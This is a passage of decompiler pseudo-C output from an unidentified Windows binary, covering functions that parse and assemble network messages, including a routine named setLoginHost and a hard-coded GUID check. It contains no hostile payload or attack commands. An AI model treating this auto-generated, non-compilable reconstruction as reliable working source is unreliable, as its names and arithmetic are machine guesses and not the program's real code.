LABEL_24:
          sub_417BB0((int)&v62, v15);
        }
        if ( (unsigned int)v59 >= 0x10 )
          operator delete(v61);
        v59 = 15;
        v60 = 0;
        LOBYTE(v61) = 0;
        v7 = 0;
      }
      v46 = -1;
      v17 = v43;
      if ( v43 != v7 )
      {
        v58 = v44;
        if ( v43 != v44 )
        {
          v18 = v43 + 4;
          do
          {
            if ( *(_DWORD *)v18 != v7 )
              operator delete(*(_DWORD *)v18);
            *(_DWORD *)v18 = v7;
            *(_DWORD *)(v18 + 4) = v7;
            *(_DWORD *)(v18 + 8) = v7;
            v18 += 20;
          }
          while ( v18 - 4 != v58 );
          v17 = v43;
        }
        operator delete(v17);
      }
      v43 = v7;
      v44 = v7;
      v45 = v7;
      if ( (unsigned int)v40 >= 0x10 )
        operator delete(v42);
      v2 = v38;
      v3 = 0;
      if ( v39 >= (unsigned int)(*(_DWORD *)(v38 + 4) - *(_DWORD *)v38) )
        goto LABEL_39;
      v4 = v39;
    }
    v24 = 0;
    if ( v43 )
    {
      sub_4061B0(v43, v44);
      operator delete(v43);
      v24 = 0;
    }
    v43 = v24;
    v44 = v24;
    v45 = v24;
    if ( (unsigned int)v40 >= 0x10 )
      operator delete(v42);
    result = 0;
  }
  else
  {
LABEL_39:
    v31 = ((signed int)(*(_DWORD *)(v5 + 12)
                      - *(_DWORD *)(v5 + 8)
                      + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 8)
        + ((unsigned int)(*(_DWORD *)(v5 + 12)
                        - *(_DWORD *)(v5 + 8)
                        + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 31) == 0;
    v39 = v3;
    if ( !v31 )
    {
      v38 = v3;
      do
      {
        v19 = 0;
        v20 = (*(_DWORD *)(v5 + 28) - *(_DWORD *)(v5 + 24)) >> 5;
        if ( v20 )
        {
          v22 = *(_DWORD *)(v5 + 8) + v3;
          v21 = *(_DWORD *)(v5 + 24);
          while ( *(_WORD *)v21 != *(_WORD *)(v22 + 56) )
          {
            ++v19;
            v21 += 32;
            if ( v19 >= v20 )
              goto LABEL_52;
          }
          if ( (signed int)v19 >= 0 )
            sub_401600(v22 + 60, -1, 0, 32 * v19 + *(_DWORD *)(v5 + 24) + 4);
LABEL_52:
          v5 = v37;
        }
        v33 = (signed int)(*(_DWORD *)(v5 + 12)
                         - *(_DWORD *)(v5 + 8)
                         + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v5 + 12) - *(_DWORD *)(v5 + 8))) >> 32)) >> 8;
        v34 = v39 + 1;
        v3 = v38 + 368;
        ++v39;
        v38 += 368;
      }
      while ( v34 < v33 + ((unsigned int)v33 >> 31) );
    }
    result = 1;
  }
  return result;
}

//----- (00414A20) --------------------------------------------------------
char __thiscall sub_414A20(int this, int a2)
{
  int v2; // eax@1
  int v3; // ecx@1
  int v4; // edi@1
  int v5; // esi@1
  signed int v6; // eax@6
  int v7; // ebx@7
  int i; // esi@7
  int v9; // ebx@11
  int v10; // esi@12
  int v11; // ebx@15
  int j; // esi@15
  signed int k; // eax@20
  int v14; // esi@21
  int v15; // eax@23
  int v16; // ebx@23
  int v17; // esi@24
  int v18; // eax@29
  int v19; // ecx@29
  int v20; // esi@30
  int v21; // ebx@31
  int v23; // ecx@41
  int v24; // edx@1
  __int16 v25; // bx@9
  char v26; // zf@12
  int v27; // ecx@21
  __int16 v28; // si@28
  int  s; // [sp+68h] [bp+0h]@1
  unsigned int v30; // [sp+54h] [bp-14h]@1
  int v31; // [sp+Ch] [bp-5Ch]@1
  int v32; // [sp+14h] [bp-54h]@3
  signed int v33; // [sp+34h] [bp-34h]@4
  int v34; // [sp+30h] [bp-38h]@4
  int v35; // [sp+20h] [bp-48h]@4
  int v36; // [sp+44h] [bp-24h]@4
  int v37; // [sp+48h] [bp-20h]@4
  int v38; // [sp+4Ch] [bp-1Ch]@4
  signed int v39; // [sp+64h] [bp-4h]@4
  unsigned __int16 v40; // [sp+1Ch] [bp-4Ch]@4
  unsigned __int16 v41; // [sp+42h] [bp-26h]@5
  __int16 v42; // [sp+40h] [bp-28h]@5
  int v43; // [sp+3Ch] [bp-2Ch]@6
  unsigned int v44; // [sp+10h] [bp-58h]@12
  int v45; // [sp+18h] [bp-50h]@13

  v30 = (unsigned int)& s ^ dword_426018;
  v2 = a2;
  v4 = this;
  v3 = 0;
  v5 = 0;
  v24 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2;
  v31 = a2;
  if ( !v24 )
    return 1;
  while ( 1 )
  {
    v33 = 15;
    v34 = v3;
    LOBYTE(v35) = v3;
    v36 = v3;
    v37 = v3;
    v38 = v3;
    v39 = v3;
    if ( !sub_404C50((int)&v40, v2, v5) )
      break;
    v32 = v5 + v40 + v41 + 10;
    if ( !v42 )
    {
      v6 = sub_40D4E0(SHIWORD(v43), v4);
      if ( v6 < 0 )
        goto LABEL_29;
      do
      {
        sub_41ABC0(368 * v6 + *(_DWORD *)(v4 + 8), v32, 368 * v6 + *(_DWORD *)(v4 + 8) + 368, *(_DWORD *)(v4 + 12));
        v7 = *(_DWORD *)(v4 + 12);
        for ( i = v7 - 368; i != v7; i += 368 )
          sub_40C880(i);
        v25 = HIWORD(v43);
        *(_DWORD *)(v4 + 12) -= 368;
        v6 = sub_40D4E0(v25, v4);
      }
      while ( v6 >= 0 );
    }
    if ( v42 == 1 )
    {
      v9 = 0;
      if ( (_WORD)v43 )
      {
        v10 = *(_DWORD *)(v4 + 8);
        v26 = ((signed int)(*(_DWORD *)(v4 + 12)
                          - v10
                          + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v4 + 12) - v10)) >> 32)) >> 8)
            + ((unsigned int)(*(_DWORD *)(v4 + 12)
                            - v10
                            + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v4 + 12) - v10)) >> 32)) >> 31) == 0;
        v44 = 0;
        if ( !v26 )
        {
          v45 = 0;
          do
          {
            if ( *(_WORD *)(v9 + v10 + 56) == (_WORD)v43 )
            {
              sub_41ABC0(v9 + v10, v32, v9 + v10 + 368, *(_DWORD *)(v4 + 12));
              v11 = *(_DWORD *)(v4 + 12);
              for ( j = v11 - 368; j != v11; j += 368 )
                sub_40C880(j);
              *(_DWORD *)(v4 + 12) -= 368;
              v9 = v45;
            }
            else
            {
              ++v44;
              v9 += 368;
              v45 = v9;
            }
            v10 = *(_DWORD *)(v4 + 8);
          }
          while ( v44 < ((signed int)(*(_DWORD *)(v4 + 12)
                                    - v10
                                    + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v4 + 12) - v10)) >> 32)) >> 8)
                      + ((unsigned int)(*(_DWORD *)(v4 + 12)
                                      - v10
                                      + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v4 + 12) - v10)) >> 32)) >> 31) );
        }
        for ( k = sub_40D520(v4, v43); k >= 0; k = sub_40D520(v4, v28) )
        {
          v27 = *(_DWORD *)(v4 + 28);
          v14 = 32 * k + *(_DWORD *)(v4 + 24) + 32;
          v45 = *(_DWORD *)(v4 + 28);
          if ( v14 != v27 )
          {
            do
            {
              *(_WORD *)(v14 - 32) = *(_WORD *)v14;
              sub_401600(v14 - 28, -1, 0, v14 + 4);
              v14 += 32;
            }
            while ( v14 != v45 );
          }
          v15 = *(_DWORD *)(v4 + 28);
          v16 = v15 - 32;
          v45 = *(_DWORD *)(v4 + 28);
          if ( v15 - 32 != v15 )
          {
            v17 = v16 + 24;
            do
            {
              if ( *(_DWORD *)v17 >= 0x10u )
              {
                operator delete(*(_DWORD *)(v17 - 20));
                v15 = v45;
              }
              *(_DWORD *)v17 = 15;
              *(_DWORD *)(v17 - 4) = 0;
              *(_BYTE *)(v17 - 20) = 0;
              v16 += 32;
              v17 += 32;
            }
            while ( v16 != v15 );
          }
          v28 = v43;
          *(_DWORD *)(v4 + 28) -= 32;
        }
      }
    }
LABEL_29:
    v39 = -1;
    v18 = v36;
    v19 = 0;
    if ( v36 )
    {
      v20 = v37;
      if ( v36 != v37 )
      {
        v21 = v36 + 4;
        do
        {
          if ( *(_DWORD *)v21 )
            operator delete(*(_DWORD *)v21);
          *(_DWORD *)v21 = 0;
          *(_DWORD *)(v21 + 4) = 0;
          *(_DWORD *)(v21 + 8) = 0;
          v21 += 20;
        }
        while ( v21 - 4 != v20 );
        v18 = v36;
      }
      operator delete(v18);
      v19 = 0;
    }
    v36 = v19;
    v37 = v19;
    v38 = v19;
    if ( (unsigned int)v33 >= 0x10 )
      operator delete(v35);
    v2 = v31;
    if ( v32 >= (unsigned int)(*(_DWORD *)(v31 + 4) - *(_DWORD *)v31) )
      return 1;
    v5 = v32;
    v3 = 0;
  }
  v23 = 0;
  if ( v36 )
  {
    sub_4061B0(v36, v37);
    operator delete(v36);
    v23 = 0;
  }
  v36 = v23;
  v37 = v23;
  v38 = v23;
  if ( (unsigned int)v33 >= 0x10 )
    operator delete(v35);
  return 0;
}

//----- (00414D50) --------------------------------------------------------
char __fastcall sub_414D50(int a1, int a2, int a3, int a4, int a5)
{
  int v5; // eax@1
  int v6; // ebx@1
  unsigned int v7; // edi@2
  char v9; // zf@1
  int v10; // eax@4
  int  s; // [sp+120h] [bp+0h]@1
  unsigned int v12; // [sp+10Ch] [bp-14h]@1
  int v13; // [sp+10h] [bp-110h]@1
  int v14; // [sp+18h] [bp-108h]@1
  int v15; // [sp+14h] [bp-10Ch]@1
  char v16; // [sp+1Ch] [bp-104h]@4
  int v17; // [sp+11Ch] [bp-4h]@4
  unsigned int v18; // [sp+D0h] [bp-50h]@8
  int v19; // [sp+D4h] [bp-4Ch]@9
  int v20; // [sp+F0h] [bp-30h]@9

  v12 = (unsigned int)& s ^ dword_426018;
  v6 = a5;
  v13 = a4;
  v5 = *(_DWORD *)a5;
  v9 = *(_BYTE *)(*(_DWORD *)a5 + 9) == 2;
  v14 = a1;
  v15 = a2;
  if ( !v9
    || (v7 = *(_BYTE *)(v5 + 10), *(_DWORD *)(a5 + 4) - v5 < v7 + 14)
    || (setLoginHost((const void *)(v5 + 11), v7, a3), *(_BYTE *)(*(_DWORD *)v6 + v7 + 12) != 3) )
    return 0;
  v10 = sub_4039B0((int)&v16);
  v17 = 0;
  if ( !sub_403B40(v10, v6, v7 + 13) || !sub_404100((int)&v16) || v18 > 0x20 )
  {
    sub_403A30((int)&v16);
    return 0;
  }
  *(_DWORD *)v13 = v18;
  sub_401600(v14, -1, 0, (int)&v19);
  sub_401600(v15, -1, 0, (int)&v20);
  sub_403A30((int)&v16);
  return 1;
}

//----- (00414E70) --------------------------------------------------------
char __fastcall sub_414E70(int a1, int a2, int a3)
{
  int v3; // eax@1
  int v4; // ecx@1
  int v5; // ebx@1
  int v6; // esi@1
  unsigned int v7; // edi@3
  unsigned __int8 v8; // al@6
  __time64_t v10; // qax@1
  int v11; // eax@5
  int v12; // ecx@12
  int  s; // [sp+118h] [bp+0h]@1
  unsigned int v14; // [sp+104h] [bp-14h]@1
  int v15; // [sp+10h] [bp-108h]@1
  char v16; // [sp+14h] [bp-104h]@5
  int v17; // [sp+114h] [bp-4h]@5
  unsigned __int8 v18; // [sp+18h] [bp-100h]@6
  int v19; // [sp+20h] [bp-F8h]@8
  char v20; // [sp+44h] [bp-D4h]@8
  int v21; // [sp+40h] [bp-D8h]@12
  int v22; // [sp+3Ch] [bp-DCh]@12

  v14 = (unsigned int)& s ^ dword_426018;
  v6 = a1;
  v15 = a3;
  v5 = a2;
  v10 = time64(0);
  *(_DWORD *)(v6 + 72) = v10;
  *(_DWORD *)(v6 + 76) = *((_DWORD *)&v10 + 1);
  v4 = *(_DWORD *)v5;
  v3 = *(_DWORD *)(v5 + 4) - *(_DWORD *)v5;
  if ( (unsigned int)v3 < 0xB
    || *(_BYTE *)(v4 + 9) != 2
    || (v7 = *(_BYTE *)(v4 + 10), v3 < v7 + 14)
    || (setLoginHost((const void *)(v4 + 11), v7, v6), *(_BYTE *)(*(_DWORD *)v5 + v7 + 12) != 3) )
    return 0;
  v11 = sub_4039B0((int)&v16);
  v17 = 0;
  if ( !sub_403B40(v11, v5, v7 + 13) || (v8 = v18, *(_BYTE *)v15 = v18, v8 < 0xE8u) || v8 > 0xECu )
  {
    sub_403A30((int)&v16);
    return 0;
  }
  sub_401600(v6 + 28, -1, 0, (int)&v19);
  if ( sub_4062A0((int)"{0946134E-4C7F-11D1-8222-444553540000}", (int)&v20)
    || sub_4062A0((int)"{0946134e-4c7f-11d1-8222-444553540000}", (int)&v20) )
    *(_DWORD *)(v6 + 64) = 3;
  else
    *(_DWORD *)(v6 + 64) = 1;
  v12 = v21;
  *(_DWORD *)(v6 + 56) = v22;
  *(_DWORD *)(v6 + 60) = v12;
  sub_403A30((int)&v16);
  return 1;
}

//----- (00414FD0) --------------------------------------------------------
char __thiscall sub_414FD0(int this, int a2, void *Src, int a4, int a5, int a6, size_t Size, int a8, int a9, char a10)
{
  int v10; // edi@1
  int v11; // esi@1
  int v13; // ebx@5
  int v14; // esi@6
  unsigned int v15; // edi@10
  void *v16; // edi@11
  const void *v17; // eax@18
  unsigned int v18; // ecx@20
  size_t v19; // edi@20
  int v20; // ST08_4@29
  int v21; // edx@30
  char v22; // bl@36
  int v24; // edx@3
  int  s; // [sp+130h] [bp+0h]@1
  unsigned int v29; // [sp+11Ch] [bp-14h]@1
  int v30; // [sp+28h] [bp-108h]@1
  int v31; // [sp+12Ch] [bp-4h]@1
  int v32; // [sp+18h] [bp-118h]@1
  void *Dst; // [sp+1Ch] [bp-114h]@1
  int v34; // [sp+20h] [bp-110h]@1
  unsigned int v35; // [sp+14h] [bp-11Ch]@20
  unsigned int v36; // [sp+10h] [bp-120h]@20
  signed int v37; // [sp+2Ch] [bp-104h]@27
  char v38; // [sp+30h] [bp-100h]@27
  int v39; // [sp+32h] [bp-FEh]@27
  char v40; // [sp+31h] [bp-FFh]@28
  int v41; // [sp+38h] [bp-F8h]@28

  v29 = (unsigned int)& s ^ dword_426018;
  v10 = this;
  v30 = a2;
  v31 = 0;
  v32 = 0;
  Dst = 0;
  v34 = 0;
  LOBYTE(v31) = 1;
  sub_405AD0((int)&v32, 8);
  v11 = v32;
  if ( v32 - (_DWORD)Dst != -8 )
    memset(Dst, 0, v32 - (_DWORD)Dst + 8);
  *(_DWORD *)v11 = *(_DWORD *)v10;
  v24 = *(_DWORD *)(v10 + 4);
  Dst = (void *)(v11 + 8);
  *(_DWORD *)(v11 + 4) = v24;
  sub_405AD0((int)&v32, 3);
  v14 = v32;
  if ( v32 - (_DWORD)Dst != -11 )
    memset(Dst, 0, v32 - (_DWORD)Dst + 11);
  v13 = v14 + 11;
  Dst = (void *)v13;
  *(_WORD *)(v14 + 8) = 512;
  *(_BYTE *)(v14 + 10) = Size;
  v15 = Size + 11;
  if ( v13 - v14 <= Size + 11 )
  {
    if ( v13 - v14 >= Size + 11 )
      goto LABEL_18;
    sub_405AD0((int)&v32, v14 + v15 - v13);
    v14 = v32;
    if ( v32 + v15 - (_DWORD)Dst )
      memset(Dst, 0, v32 + v15 - (_DWORD)Dst);
    v13 = v15 + v14;
  }
  else
  {
    v16 = (void *)(v14 + v15);
    if ( v16 == (void *)v13 )
      goto LABEL_18;
    memmove(v16, (const void *)v13, 0);
    v13 = (int)v16;
  }
  Dst = (void *)v13;
LABEL_18:
  v17 = Src;
  if ( (unsigned int)a8 < 0x10 )
    v17 = &Src;
  memcpy((void *)(v14 + 11), v17, Size);
  v18 = Size + 11;
  v19 = Size + 13;
  v35 = Size + 11;
  v36 = Size + 13;
  if ( v13 - v14 <= Size + 13 )
  {
    if ( v13 - v14 >= Size + 13 )
      goto LABEL_27;
    sub_405AD0((int)&v32, v14 + v19 - v13);
    v14 = v32;
    if ( v32 + v19 - (_DWORD)Dst )
      memset(Dst, 0, v32 + v19 - (_DWORD)Dst);
  }
  else
  {
    if ( v19 + v14 == v13 )
      goto LABEL_27;
    memmove((void *)(v19 + v14), (const void *)v13, 0);
  }
  v18 = v35;
  Dst = (void *)(v19 + v14);
LABEL_27:
  *(_WORD *)(v14 + v18) = 768;
  sub_4039B0((int)&v37);
  LOBYTE(v31) = 2;
  v38 = a10;
  v37 = 9;
  v39 = 0;
  switch ( a10 )
  {
    case 1:
      v40 = 0;
      setLoginHost(byte_4212B9, 0, (int)&v41);
      v19 = v36;
      break;
    case 0xE8:
      v20 = v30 + 104;
      goto LABEL_35;
    case 0xE9:
      v21 = v30 + 132;
      goto LABEL_34;
    case 0xEA:
      v20 = v30 + 160;
      goto LABEL_35;
    case 0xEB:
      v20 = v30 + 188;
      goto LABEL_35;
    case 0xEC:
      v21 = v30 + 216;
LABEL_34:
      v20 = v21;
LABEL_35:
      v40 = 3;
      sub_401600((int)&v41, -1, 0, v20);
      break;
    default:
      break;
  }
  sub_404350((int)&v32, (int)&v37, v19);
  v22 = sub_413200(11, 0, v30, 4, (int)&v32) == 1;
  sub_403A30((int)&v37);
  if ( v32 )
    operator delete(v32);
  if ( (unsigned int)a8 >= 0x10 )
    operator delete(Src);
  return v22;
}

//----- (00415420) --------------------------------------------------------
char __thiscall sub_415420(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, char a9)
{
  int v9; // esi@1
  const void *v10; // eax@3
  size_t v11; // ebx@5
  int v13; // esi@1
  int v14; // eax@1
  int  s; // [sp+19Ch] [bp+0h]@1
  unsigned int v16; // [sp+18Ch] [bp-10h]@1
  int v17; // [sp+10h] [bp-18Ch]@1
  int v18; // [sp+198h] [bp-4h]@1
  signed int v19; // [sp+174h] [bp-28h]@1
  size_t Size; // [sp+170h] [bp-2Ch]@1
  void *Src; // [sp+160h] [bp-3Ch]@1
  int v22; // [sp+17Ch] [bp-20h]@1
  int v23; // [sp+180h] [bp-1Ch]@1
  size_t v24; // [sp+184h] [bp-18h]@1
  int (__stdcall **v25)(char); // [sp+150h] [bp-4Ch]@1
  int hostshort; // [sp+15Ch] [bp-40h]@1
  signed int v27; // [sp+154h] [bp-48h]@1
  signed int v28; // [sp+158h] [bp-44h]@1
  signed int v29; // [sp+58h] [bp-144h]@1
  __int16 v30; // [sp+24h] [bp-178h]@1
  signed int v31; // [sp+3Eh] [bp-15Eh]@1
  int v32; // [sp+28h] [bp-174h]@1
  signed int v33; // [sp+20h] [bp-17Ch]@1
  __int16 v34; // [sp+34h] [bp-168h]@1
  signed int v35; // [sp+4Ah] [bp-152h]@1
  signed int v36; // [sp+42h] [bp-15Ah]@1
  signed int v37; // [sp+46h] [bp-156h]@1
  signed int v38; // [sp+3Ah] [bp-162h]@1
  __int16 v39; // [sp+54h] [bp-148h]@1
  int v40; // [sp+5Eh] [bp-13Eh]@1
  int v41; // [sp+2Ch] [bp-170h]@1
  int v42; // [sp+30h] [bp-16Ch]@1
  int v43; // [sp+50h] [bp-14Ch]@1
  signed int v44; // [sp+36h] [bp-166h]@1
  char v45; // [sp+5Ch] [bp-140h]@1
  char v46; // [sp+5Dh] [bp-13Fh]@1
  char v47; // [sp+64h] [bp-138h]@1
  int v48; // [sp+14h] [bp-188h]@1
  int v49; // [sp+18h] [bp-184h]@1
  int v50; // [sp+1Ch] [bp-180h]@1

  v16 = (unsigned int)& s ^ dword_426018;
  v13 = this;
  v17 = this;
  v18 = 0;
  v19 = 15;
  Size = 0;
  LOBYTE(Src) = 0;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  v25 = &off_421510;
  LOBYTE(v18) = 1;
  LOWORD(hostshort) = 2;
  sub_401600((int)&Src, -1, 0, (int)&a2);
  v27 = -1414812757;
  v28 = -1414812757;
  sub_4039B0((int)&v29);
  LOBYTE(v18) = 2;
  v14 = *(_DWORD *)(v13 + 576);
  v30 = 80;
  v31 = 1225999881;
  v32 = v14 | 0x1000000;
  v33 = 21587;
  v34 = 0;
  v35 = 21587;
  v36 = -787382452;
  v37 = 1162093186;
  v38 = v28;
  v39 = 0;
  v40 = 0;
  v41 = 0;
  v42 = 0;
  v43 = 0;
  v44 = v27;
  v29 = 9;
  v45 = a9;
  v46 = 3;
  setLoginHost(byte_4212B9, 0, (int)&v47);
  sub_404A40((int)&v22, (int)&v30);
  v9 = 0;
  v48 = 0;
  v49 = 0;
  v50 = 0;
  LOBYTE(v18) = 3;
  if ( Size + 11 > 0 )
  {
    sub_405670(Size + 11, (int)&v48);
    v9 = v48;
  }
  *(_DWORD *)v9 = v27;
  *(_DWORD *)(v9 + 4) = v28;
  *(_WORD *)(v9 + 8) = htons(hostshort);
  *(_BYTE *)(v9 + 10) = Size;
  v10 = Src;
  if ( (unsigned int)v19 < 0x10 )
    v10 = &Src;
  memcpy((void *)(v9 + 11), v10, Size);
  loc_402F20(&v48, &v25, (unsigned int)& s ^ dword_426018);
  sub_413200(6, 0, v17, 4, (int)&v48);
  v11 = 0;
  if ( v48 )
    operator delete(v48);
  sub_403A30((int)&v29);
  v25 = &off_421508;
  if ( v22 )
  {
    sub_4061B0(v22, v23);
    operator delete(v22);
    v11 = 0;
  }
  v22 = v11;
  v23 = v11;
  v24 = v11;
  if ( (unsigned int)v19 >= 0x10 )
    operator delete(Src);
  v19 = 15;
  Size = v11;
  LOBYTE(Src) = v11;
  if ( a7 >= 0x10 )
    operator delete(a2);
  return 1;
}

//----- (004156E0) --------------------------------------------------------
char __thiscall sub_4156E0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9)
{
  const char *v9; // eax@1
  const char *v10; // eax@3
  void *v11; // esi@3
  void *v12; // ecx@5
  unsigned int v13; // eax@7
  int v14; // ebx@7
  const void *v15; // edi@7
  char v16; // bl@9
  int v18; // esi@1
  __int32 v19; // eax@5
  int v20; // ecx@5
  u_short v21; // ax@9
  int  s; // [sp+64h] [bp+0h]@1
  unsigned int v23; // [sp+54h] [bp-10h]@1
  int v24; // [sp+2Ch] [bp-38h]@1
  int v25; // [sp+40h] [bp-24h]@1
  int v26; // [sp+60h] [bp-4h]@1
  signed int v27; // [sp+44h] [bp-20h]@1
  signed int v28; // [sp+48h] [bp-1Ch]@1
  signed int v29; // [sp+4Ch] [bp-18h]@1
  signed int v30; // [sp+50h] [bp-14h]@1
  void *Dst; // [sp+30h] [bp-34h]@1
  void *Src; // [sp+34h] [bp-30h]@1
  int v33; // [sp+38h] [bp-2Ch]@1
  const void *v34; // [sp+14h] [bp-50h]@5
  int v35; // [sp+18h] [bp-4Ch]@5
  int v36; // [sp+1Ch] [bp-48h]@5
  __int16 v37; // [sp+10h] [bp-54h]@5
  size_t Size; // [sp+24h] [bp-40h]@7
  int v39; // [sp+28h] [bp-3Ch]@9

  v23 = (unsigned int)& s ^ dword_426018;
  v18 = this;
  v24 = this;
  v25 = a9;
  v26 = 0;
  v27 = -65522;
  v28 = 131137535;
  v29 = 79364095;
  v30 = -1;
  Dst = 0;
  Src = 0;
  v33 = 0;
  sub_41AB50(a9, &v27, (int)&Dst, (int)&v23, a9);
  v9 = (const char *)(v18 + 368);
  if ( *(_DWORD *)(v18 + 388) >= 0x10u )
    v9 = *(const char **)v9;
  v11 = Dst;
  *(_DWORD *)((char *)Dst + 2) = atol(v9);
  v10 = Str;
  if ( (unsigned int)a7 < 0x10 )
    v10 = (const char *)&Str;
  v19 = atol(v10);
  v20 = v24;
  *((_DWORD *)v11 + 3) = v19;
  *((_WORD *)v11 + 4) = *(_WORD *)(v20 + 460);
  v34 = 0;
  v35 = 0;
  v36 = 0;
  LOBYTE(v26) = 2;
  sub_405570((int)&Dst, (int)&v34);
  v37 = 1;
  LOBYTE(v26) = 3;
  v12 = Src;
  if ( v11 != Src )
  {
    memmove(v11, Src, 0);
    v12 = v11;
    Src = v11;
  }
  v14 = v35;
  v15 = v34;
  Size = v35 - (_DWORD)v34;
  v13 = v35 - (_DWORD)v34 + 4;
  if ( v12 - v11 < v13 )
  {
    sub_405670(v13, (int)&Dst);
    v11 = Dst;
  }
  v39 = htons(1u);
  v21 = htons(v14 - (_DWORD)v15);
  *(_WORD *)v11 = v39;
  *((_WORD *)v11 + 1) = v21;
  memcpy((char *)v11 + 4, v15, Size);
  v16 = sub_413200(2, v25, v24, 21, (int)&Dst) == 1;
  if ( v15 )
    operator delete(v15);
  if ( Dst )
    operator delete(Dst);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Str);
  return v16;
}

//----- (004158A0) --------------------------------------------------------
char __fastcall sub_4158A0(int a1, int a2, int a3, int a4)
{
  int v3; // eax@1
  char result; // al@4
  int v5; // ebx@15
  unsigned int v6; // eax@18
  int v7; // eax@20
  unsigned int v8; // ecx@21
  int v9; // eax@23
  unsigned int v10; // ecx@24
  int v11; // eax@26
  unsigned int v12; // ecx@27
  int v13; // eax@30
  int v14; // esi@30
  int v15; // [sp+20h] [bp-30h]@1
  int v16; // [sp+24h] [bp-2Ch]@1
  int v17; // [sp+28h] [bp-28h]@1
  int v18; // [sp+4Ch] [bp-4h]@1
  int v19; // [sp+1Ch] [bp-34h]@1
  signed int v20; // [sp+14h] [bp-3Ch]@1
  int v21; // [sp+34h] [bp-1Ch]@5
  int v22; // [sp+38h] [bp-18h]@5
  int v23; // [sp+3Ch] [bp-14h]@5
  __int16 v24; // [sp+30h] [bp-20h]@5

  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = a2;
  v20 = 196629;
  v3 = sub_412EA0(a3, (int)&v20);
  if ( v3 != 1 )
  {
    if ( v15 )
      operator delete(v15);
    return 0;
  }
  v21 = 0;
  v22 = 0;
  v23 = 0;
  LOBYTE(v18) = 1;
  if ( sub_402630(v3, (int)&v15, (int)&v24) )
  {
    if ( v24 == 1 )
    {
      v5 = v22 - v21;
      if ( (unsigned int)(v22 - v21) < 0xF
        || *(_BYTE *)(v21 + 12) != 10
        || (v6 = *(_WORD *)(v21 + 13), v6 < 1)
        || (a3 = v6 + 15, v5 < v6 + 15)
        || (setLoginHost((const void *)(v21 + 15), v6 - 1, a4 + 28), v7 = a3 + 2, v5 < (unsigned int)(a3 + 2))
        || (v8 = *(_WORD *)(v21 + a3), v8 < 1)
        || (a3 = v7 + v8, v5 < v7 + v8)
        || (setLoginHost((const void *)(v21 + v7), v8 - 1, a4 + 56), v9 = a3 + 2, v5 < (unsigned int)(a3 + 2))
        || (v10 = *(_WORD *)(v21 + a3), v10 < 1)
        || (a3 = v9 + v10, v5 < v9 + v10)
        || (setLoginHost((const void *)(v21 + v9), v10 - 1, a4 + 84), v11 = a3 + 2, v5 < (unsigned int)(a3 + 2))
        || (v12 = *(_WORD *)(v21 + a3), v12 < 1)
        || (a3 = v12 + v11, v5 < v12 + v11)
        || (setLoginHost((const void *)(v21 + v11), v12 - 1, a4 + 112), v5 < (unsigned int)(a3 + 1))
        || (v14 = v21, v13 = a3 + 2, *(_BYTE *)(a4 + 144) = *(_BYTE *)(v21 + a3) != 0, v5 < (unsigned int)(v13 + 1)) )
      {
        sub_406500((int)&v24);
        sub_41B030((int)&v20);
        result = 0;
      }
      else
      {
        *(_DWORD *)(a4 + 140) = *(_BYTE *)(v14 + v13);
        sub_406500((int)&v24);
        sub_41B030((int)&v20);
        result = 1;
      }
    }
    else
    {
      if ( v21 )
        operator delete(v21);
      if ( !v15 )
        return 0;
      operator delete(v15);
      result = 0;
    }
  }
  else
  {
    if ( v21 )
      operator delete(v21);
    if ( !v15 )
      return 0;
    operator delete(v15);
    result = 0;
  }
  return result;
}

//----- (00415B20) --------------------------------------------------------
__int16 __usercall sub_415B20<ax>(int a1<ebx>)
{
  signed int v1; // eax@1
  int v2; // eax@3
  int v3; // edi@3
  unsigned int v4; // esi@3
  int v5; // ecx@4
  int v6; // eax@7
  int v7; // edi@7
  unsigned int v8; // esi@7
  int v9; // ecx@8
  int v10; // eax@11
  int v11; // edi@11
  unsigned int v12; // esi@11
  int v13; // ecx@12
  int v14; // eax@15
  int v15; // edi@15
  unsigned int v16; // esi@15
  int v17; // ecx@16
  int v18; // eax@19
  int v19; // edi@19
  unsigned int v20; // esi@19
  int v21; // ecx@20
  int v22; // edx@23
  int v23; // ecx@23
  int v24; // eax@26
  int j; // eax@27
  int i; // eax@30
  int v28; // ecx@3
  signed int v29; // edx@3
  unsigned int v30; // eax@3
  char v31; // zf@3
  int v32; // ecx@7
  signed int v33; // edx@7
  unsigned int v34; // eax@7
  char v35; // zf@7
  int v36; // ecx@11
  signed int v37; // edx@11
  unsigned int v38; // eax@11
  char v39; // zf@11
  int v40; // ecx@15
  signed int v41; // edx@15
  unsigned int v42; // eax@15
  char v43; // zf@15
  int v44; // ecx@19
  signed int v45; // edx@19
  unsigned int v46; // eax@19
  char v47; // zf@19
  signed int v48; // [sp+8h] [bp-4h]@1

  v1 = 1;
  v48 = 1;
  do
  {
    if ( *(_WORD *)(a1 + 642) != (_WORD)v1 )
    {
      v3 = *(_DWORD *)(a1 + 8);
      v28 = *(_DWORD *)(a1 + 12) - v3;
      v29 = (signed int)(v28 + ((unsigned __int64)(-1307163959i64 * v28) >> 32)) >> 8;
      v30 = (unsigned int)(v28 + ((unsigned __int64)(-1307163959i64 * v28) >> 32)) >> 31;
      v4 = 0;
      v31 = v29 + v30 == 0;
      v2 = v29 + v30;
      if ( v31 )
      {
LABEL_7:
        v7 = *(_DWORD *)(a1 + 40);
        v32 = *(_DWORD *)(a1 + 44) - v7;
        v33 = (signed int)(v32 + ((unsigned __int64)(-1307163959i64 * v32) >> 32)) >> 8;
        v34 = (unsigned int)(v32 + ((unsigned __int64)(-1307163959i64 * v32) >> 32)) >> 31;
        v8 = 0;
        v35 = v33 + v34 == 0;
        v6 = v33 + v34;
        if ( v35 )
        {
LABEL_11:
          v11 = *(_DWORD *)(a1 + 56);
